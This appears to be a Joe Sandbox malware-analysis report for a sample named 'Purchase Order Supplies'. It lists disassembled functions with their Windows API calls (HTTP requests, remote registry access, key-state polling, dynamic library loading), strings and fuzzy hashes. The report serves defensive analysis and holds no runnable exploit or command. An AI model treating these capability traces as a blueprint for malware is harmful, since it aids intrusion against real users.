Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memmove$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 2411302734-567219261
Opcode ID: 73ca299211529cb9d1f948570bd541d3a561342157e976daf75a9e6a2f591740
Instruction ID: d981ce56675067512265e8ff4ce0dce2423ebede5673238574361afea51e55c2
Opcode Fuzzy Hash: 73ca299211529cb9d1f948570bd541d3a561342157e976daf75a9e6a2f591740
Instruction Fuzzy Hash: F031B43450061AAFCF00DF98C841AFEB3B5FF05750B208A29E562A72D2DB71EA05DF91

Function 00CCC600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9CAEE: _memmove.LIBCMT ref: 00C9CB2F

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00CCC684
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00CCC697
SendMessageW.USER32(?,00000189,?,00000000), ref: 00CCC6C7

Part of subcall function 00C97E53: _memmove.LIBCMT ref: 00C97EB9

Strings

ListBox, xrefs: 00CCC643
ComboBox, xrefs: 00CCC60B

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$_memmove
String ID: ComboBox$ListBox
API String ID: 458670788-1403004172
Opcode ID: 8beaa2f450adcc76efb78b368f9947475b4cc9778e0f4a4f130a4cef451693b5
Instruction ID: 0c351ee9fd37f425617f07c97aae9950aa64b1bbc254a2442836a97d16283285
Opcode Fuzzy Hash: 8beaa2f450adcc76efb78b368f9947475b4cc9778e0f4a4f130a4cef451693b5
Instruction Fuzzy Hash: BF21D171900108BFDB04EB64C88AEFFB7A9DF56350B24861DF426E71E0DB745D0AA724

Function 00CE4A41 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00CE4A60
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00CE4A86
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00CE4AB6
InternetCloseHandle.WININET(00000000), ref: 00CE4AFD

Part of subcall function 00CE56A9: GetLastError.KERNEL32(?,?,00CE4A2B,00000000,00000000,00000001), ref: 00CE56BE

Strings

, xrefs: 00CE4AAF

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: HttpInternet$CloseErrorHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 1951874230-3916222277
Opcode ID: 79ea1164763b2a37581af0518bb3ba1fcca1837815d606eacb23fa4788dfe74d
Instruction ID: fbcd519a070074baa8569bc7f37177a2ac06442a31d2515970c16104890c9b20
Opcode Fuzzy Hash: 79ea1164763b2a37581af0518bb3ba1fcca1837815d606eacb23fa4788dfe74d
Instruction Fuzzy Hash: 8E21FFB5540208BFEB15DF669C85EBBB6FCEB88758F10402AF116D2240EB609E05A771

Function 00C938E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00D0454E

Part of subcall function 00C97E53: _memmove.LIBCMT ref: 00C97EB9

_memset.LIBCMT ref: 00C93965
_wcscpy.LIBCMT ref: 00C939B5
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00C939C6

Strings

Line: , xrefs: 00D04578

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: b6abfa1b56a30accea28aa66e50715fab51f371b082328bc8710ac6c5f249abb
Instruction ID: ccadca28cdeba056499d280801640222e23dc4114f43eb00dc9c145569eab022
Opcode Fuzzy Hash: b6abfa1b56a30accea28aa66e50715fab51f371b082328bc8710ac6c5f249abb
Instruction Fuzzy Hash: A031C771408380ABDB21EB64DC49FDB77E8AF54311F04451AF999C22E1DB709B48DBA2

Function 00CF8EEF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CAC619: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00CAC657
Part of subcall function 00CAC619: GetStockObject.GDI32(00000011), ref: 00CAC66B
Part of subcall function 00CAC619: SendMessageW.USER32(00000000,00000030,00000000), ref: 00CAC675

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00CF8F69
LoadLibraryW.KERNEL32(?), ref: 00CF8F70
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00CF8F85
DestroyWindow.USER32(?), ref: 00CF8F8D

Strings

SysAnimate32, xrefs: 00CF8F44

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: d580f8f981d8e40857be94464f07218a3189606fa13f361f6f0e3a33882f4223
Instruction ID: b0aa402bd81a7e6ef8e3b53f61f2d0b3d9bf4de9b533c04be419e843cdb6f615
Opcode Fuzzy Hash: d580f8f981d8e40857be94464f07218a3189606fa13f361f6f0e3a33882f4223
Instruction Fuzzy Hash: 1C218B71200209AFEF504EA4DC80EBB77AAEB49364F104628FB2497190CB71DD559762

Function 00CDE382 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00CDE392
GetVolumeInformationW.KERNEL32(?,?,00000104,?,00000000,00000000,00000000,00000000), ref: 00CDE3E6
__swprintf.LIBCMT ref: 00CDE3FF
SetErrorMode.KERNEL32(00000000,00000001,00000000,00D2DBF0), ref: 00CDE43D

Strings

%lu, xrefs: 00CDE3F9

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 1b6e162676bdd7f1d51e13737f92a1e0c009f002feacacae43b2f047d8f994be
Instruction ID: f9bfd8a196468d28f908b5cd6fdab6a1b84c89e46326db3cb82dbb0b0b20c2f0
Opcode Fuzzy Hash: 1b6e162676bdd7f1d51e13737f92a1e0c009f002feacacae43b2f047d8f994be
Instruction Fuzzy Hash: 32214135A40209AFCB10EFA4C885DEE77B9EF59714F108069F509DB351DB31DA46DB60

Function 00CCD7D6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C97E53: _memmove.LIBCMT ref: 00C97EB9

Part of subcall function 00CCD623: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00CCD640
Part of subcall function 00CCD623: GetWindowThreadProcessId.USER32(?,00000000), ref: 00CCD653
Part of subcall function 00CCD623: GetCurrentThreadId.KERNEL32 ref: 00CCD65A
Part of subcall function 00CCD623: AttachThreadInput.USER32(00000000), ref: 00CCD661

GetFocus.USER32 ref: 00CCD7FB

Part of subcall function 00CCD66C: GetParent.USER32(?), ref: 00CCD67A

GetClassNameW.USER32(?,?,00000100), ref: 00CCD844
EnumChildWindows.USER32(?,00CCD8BA), ref: 00CCD86C
__swprintf.LIBCMT ref: 00CCD886

Strings

%s%d, xrefs: 00CCD880

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: 01b07f4c37b53e56df0cac3c75b2711bab33e28c1c25ce8b0924e93a01423318
Instruction ID: 7b68fbbb3009599d03cd71591f9c4ae47cfe6732aff904cd113ca33d26711569
Opcode Fuzzy Hash: 01b07f4c37b53e56df0cac3c75b2711bab33e28c1c25ce8b0924e93a01423318
Instruction Fuzzy Hash: FB114F755003097BDF11BF60DC8AFEA3769AB54704F0080B9FA1AAB186DBB49945EB70

Function 00CF1836 Relevance: 7.7, APIs: 5, Instructions: 232COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00CF18E4
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00CF1917
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00CF1A3A
CloseHandle.KERNEL32(?), ref: 00CF1AB0

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 2bb96c5927106f714372244bc4c49c4f4395a1acbfe219a8c3c30cc5e0ae7d9c
Instruction ID: 248797c24fca51895da87cb423d4375513aeb9a743ffd075a3776b99d68cfa91
Opcode Fuzzy Hash: 2bb96c5927106f714372244bc4c49c4f4395a1acbfe219a8c3c30cc5e0ae7d9c
Instruction Fuzzy Hash: 2B81AF70A40215EBDF10DF64C886BADBBE5BF48724F088059FD15AF382DBB4E9419B91

Function 00CF0579 Relevance: 7.6, APIs: 5, Instructions: 149libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00C984A6: __swprintf.LIBCMT ref: 00C984E5
Part of subcall function 00C984A6: __itow.LIBCMT ref: 00C98519

LoadLibraryW.KERNEL32(?,00000004,?,?), ref: 00CF05DF
GetProcAddress.KERNEL32(00000000,?), ref: 00CF066E
GetProcAddress.KERNEL32(00000000,00000000), ref: 00CF068C
GetProcAddress.KERNEL32(00000000,?), ref: 00CF06D2
FreeLibrary.KERNEL32(00000000,00000004), ref: 00CF06EC

Part of subcall function 00CAF26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00CDAEA5,?,?,00000000,00000008), ref: 00CAF282
Part of subcall function 00CAF26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00CDAEA5,?,?,00000000,00000008), ref: 00CAF2A6

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: 66b3d110cf388ae78f3c1084ada33c136f4a333fc10a99ad0140cb9b8b464ca0
Instruction ID: 66b5af6a0714055d3df12eb97f19e5a65fd6853c6de917ea6389a05421b18fc3
Opcode Fuzzy Hash: 66b3d110cf388ae78f3c1084ada33c136f4a333fc10a99ad0140cb9b8b464ca0
Instruction Fuzzy Hash: 65515975A00209AFCF00EFA8C8949EDB7B5BF58310B148095FA15EB352DB30ED45DB91

Function 00CF2D1A Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9CAEE: _memmove.LIBCMT ref: 00C9CB2F

Part of subcall function 00CF3AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00CF2AA6,?,?), ref: 00CF3B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00CF2DE0
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00CF2E1F
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00CF2E66
RegCloseKey.ADVAPI32(?,?), ref: 00CF2E92
RegCloseKey.ADVAPI32(00000000), ref: 00CF2E9F

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 4beec83428ba974df4c76287727e5393723cec22061f22635d93f8920076c60d
Instruction ID: eb0718a97e64288a076128161481cc77bec5026d881763085ded1f5d7cd6c1c6
Opcode Fuzzy Hash: 4beec83428ba974df4c76287727e5393723cec22061f22635d93f8920076c60d
Instruction Fuzzy Hash: AB515A71204209AFCB04EF64C885E6AB7E9FF88304F14481EF696972A1DB31E905DB52

Function 00CFCB07 Relevance: 7.6, APIs: 5, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdbef76612f930c47f1ab5211d2db57912c74db65c5117d27f514a021b21276d
Instruction ID: 00f5377e3d5e37913943f2cda916178356a7298748c010fa06d3264720ee7f1d
Opcode Fuzzy Hash: fdbef76612f930c47f1ab5211d2db57912c74db65c5117d27f514a021b21276d
Instruction Fuzzy Hash: 9941E439A0020DBFD760DB28CEC9FF9BB65AB09320F154255EA29E72D1C7309E01D661

Function 00CE1726 Relevance: 7.6, APIs: 5, Instructions: 127COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00CE17D4
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00CE17FD
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00CE183C

Part of subcall function 00C984A6: __swprintf.LIBCMT ref: 00C984E5
Part of subcall function 00C984A6: __itow.LIBCMT ref: 00C98519

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00CE1861
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00CE1869

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 9d6544feaf3673fa0c80486ba307e82530f1bff69c35469c08cf2fec1ee855d1
Instruction ID: db1881b22a33ba9bf07619f6b72f0a574edd734174042889b186aaaf6f0798aa
Opcode Fuzzy Hash: 9d6544feaf3673fa0c80486ba307e82530f1bff69c35469c08cf2fec1ee855d1
Instruction Fuzzy Hash: EE412835A00205EFCF11EF64C995AADBBF5FF09310B148099E81AAB362DB35ED11DB60

Function 00CAB736 Relevance: 7.6, APIs: 5, Instructions: 110keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(000000FF), ref: 00CAB749
ScreenToClient.USER32(00000000,000000FF), ref: 00CAB766
GetAsyncKeyState.USER32(00000001), ref: 00CAB78B
GetAsyncKeyState.USER32(00000002), ref: 00CAB799

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: fa3265b738c635a36382a0d13cf8fdfbf5a3b5077fd6144c08b4692f00791453
Instruction ID: 5598f19e41cf7a18bbfba4897f476e2d9448c5520a09f3496589a36ea13bd994
Opcode Fuzzy Hash: fa3265b738c635a36382a0d13cf8fdfbf5a3b5077fd6144c08b4692f00791453
Instruction Fuzzy Hash: 5F416E3150421AFFDF159F64C844AEABBB5BB46364F104319F829922D1CB70AE90DFB1

Function 00CCC145 Relevance: 7.6, APIs: 5, Instructions: 88sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00CCC156
PostMessageW.USER32(?,00000201,00000001), ref: 00CCC200
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00CCC208
PostMessageW.USER32(?,00000202,00000000), ref: 00CCC216
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00CCC21E

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: ccaae68d75c2b097a21644ba554cb92ec9f28591bda8ed0c2e170718705b6a7e
Instruction ID: 89a2c67fd57cb4eb32637fad28ad3a78328d691965e174cd70b97f4d56abf607
Opcode Fuzzy Hash: ccaae68d75c2b097a21644ba554cb92ec9f28591bda8ed0c2e170718705b6a7e
Instruction Fuzzy Hash: 6531BF71500219EBDF04CFA9DD8CBDE3BB6AB04315F104218F824E62D1C7B09A54DBA0

Function 00CCE9B5 Relevance: 7.6, APIs: 5, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00CCE9CD
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00CCE9EA
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00CCEA22
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00CCEA48
_wcsstr.LIBCMT ref: 00CCEA52

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 9f35953cac43b13d4688ccbae70903517f60bc9d51af94c8add8259b29238b93
Instruction ID: 66d69776e03207bbb17f46a7c9c310589e1fd88fea2ee99abc9268d045da42d7
Opcode Fuzzy Hash: 9f35953cac43b13d4688ccbae70903517f60bc9d51af94c8add8259b29238b93
Instruction Fuzzy Hash: 1F21D472604204BEEB159B6ADC49FBF7FADEF46750F10802DF809CA191EE71DD41A260

Function 00CCCA6D Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00CCCA86

Part of subcall function 00C97E53: _memmove.LIBCMT ref: 00C97EB9

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00CCCAB8
__itow.LIBCMT ref: 00CCCAD0
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00CCCAF6
__itow.LIBCMT ref: 00CCCB07

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
